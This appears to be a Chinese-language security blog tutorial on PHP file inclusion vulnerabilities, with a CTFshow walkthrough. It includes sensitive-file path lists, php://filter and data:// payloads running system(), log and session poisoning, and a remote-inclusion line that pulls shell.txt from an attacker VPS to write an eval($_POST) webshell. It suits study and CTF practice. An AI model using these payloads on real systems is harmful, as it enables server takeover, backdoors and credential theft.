通用漏洞之文件包含漏洞

碎碎念

安全,从去年的2月开始真正去了解安全,到4月的HW,然后参加各种大小型CTF,再参加网安基地的培训,最后在去年的11月收到了自己的第一份offer(渗透测试工程师),接各种项目,算一算已经入行一年有余了,入行的前两月激情满怀,热情四溢,从早学到晚,真的不知疲倦,但后面越来越浮躁,一直无法沉下心来,总感觉技术没有很大的提升,疫情原因出差,导致我的行程码带星星了(呜呜呜),进不去公司和客户现场,无业游民一个星期(等星星消失),正好静下心梳理这一年多来的学习经历,以及填一些没有时间填的坑。

文件包含漏洞

先来波思维导图(图是小迪的,借来用用哈,我懒得搞了)

文件包含函数(代码审计)

这里以php为例,在php中常用的文件包含函数有(include、require、include_once、require_once)

Include:被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告。

Require:require 和 include几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include只产生警告(E_WARNING),脚本会继续运行。

Include_once:include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true。 如同此语句名字暗示的那样,该文件只会包含一次。 include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

Require_once:require_once 语句和 require语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

区别:include函数在执行文件时候每次都要进行读取和评估,在找不到文件的情况下会发出一条警告,且还会继续运行,require则会给出一条致命错误,从而停止运行,include_once和require_once和include和require类似,他们仅仅只包含一次。

php开启错误题型需要配置php.ini中disaply_errors On

代码审计的时候全局搜索以上函数

如果是基于图像上传的 ,要搜$_FILES 变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。

查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。

文件包含漏洞原理

文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发大哥经常会把一些代码插入到指定的地方,从而节省时间避免再次编写 ,这就是包含函数的基础解释,但是方便的同时,如果我们没有对文件的来源进行严格的审查,不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,也就是开发者在编写代码的时候触犯的逻辑性的错误就可能会导致**文件读取漏洞和其它类型的漏洞。

文件包含分类—本地LFI&远程RFI

文件包含漏洞共分为两大类,本地文件包含和远程文件包含

远程文件包含,需要php.ini开启了allow_url_fopenallow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件

本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载

具体形成原因由代码和环境配置文件决定

本地文件包含漏洞

无限制本地文件包含漏洞

读取敏感文件

通过目录遍历漏洞可以获取到系统中其他文件的内容

?a=/etc/passwd

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

利用封装协议读源码

?a=php://filter/read=convert.base64-encode/resource=config.php

包含图片Getshell

在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码

session文件包含漏洞(本地文件包含getshell方式)

前提条件

  • session的存储位置可以获取
  • session中的内容可以被控制,传入恶意代码

其中session位置的获取有两种方式

  • 通过phpinfo的信息可以获取到session的存储位置
  • 也可以通过猜测,因为就那几个固定的存储位置,例如:/var/lib/php5/sessions、/var/lib/php7/sessions、/var/lib/php/sessions

漏洞分析

直接上源码吧

<?php
session_start();
$ctfs=$_GET['a'];
$_SESSION["username"]=$a;
?>

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://xxxxx/session.php?a=a后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过F12获取。(F12查看我们的cookie,cookie中有个PHPSESSID的名称,其中它的值就是我们sessionid的值)

我们在通过这个脚本,向seesion写入恶意的数据

漏洞利用

通过上面的分析,可以知道a传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过a写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

有限制本地文件包含漏洞绕过

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

如果为on,%00会被转义,以至于无法截断。

路径长度截断

条件:windows,点号需要长于256;linux 长于4096

  • Windows下目录最大长度为256字节,超出的部分会被丢弃
  • Linux下目录最大长度为4096字节,超出的部分会被丢弃

点号截断

条件:windows,点号需要长于256

远程文件包含漏洞

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

#是否允许打开远程文件
allow_url_fopen = On
#是否允许include/require远程文件
allow_url_include = On

无限制远程文件包含漏洞

通过远程文件包含漏洞,包含shell.txt可以解析

<?php
$filename = $_GET['filename'];
include($filename);
?>
?a=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

<?php
fputs(fopen('./shell.php','w'),'<?php @eval($_POST[aaa]) ?>');
?>

有限制远程文件包含漏洞绕过

例如html

<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀

可以通过 ?# 空格 绕过,也可以直接burp爆破尝试支持的绕过符号。

文件包含伪协议利用

PHP 带有很多内置 URL 风格的封装协议,而这些协议则是我们处理文件包含漏洞经常用到的方法可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

各类脚本语言包含伪协议玩法参考

https://www.cnblogs.com/endust/p/11804767.html

实战练习—CTFshow

CTFSHOW-78关卡到117关卡

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

82-86-SESSION包含

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13
url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

实战中黑百盒挖掘

黑盒发现

主要观察参数传递的数据和文件名是否对应

白盒发现

  • 可通过应用功能追踪代码定位审计
  • 可通过脚本特定函数搜索定位审计
  • 可通过伪协议玩法绕过相关修复等

总结一下

  • 有可控文件如能上传文件,配合上传后包含
  • 无可控文件可以利用日志或Session&伪协议
  • 代码固定目录及文件后缀时需考虑版本绕过
  • 伪协议玩法是建立在代码中只有变量存在时

本文参考

https://www.freebuf.com/articles/web/277756.html

https://www.freebuf.com/articles/web/182280.html

https://wiki.wgpsec.org/knowledge/web/fileincludes.html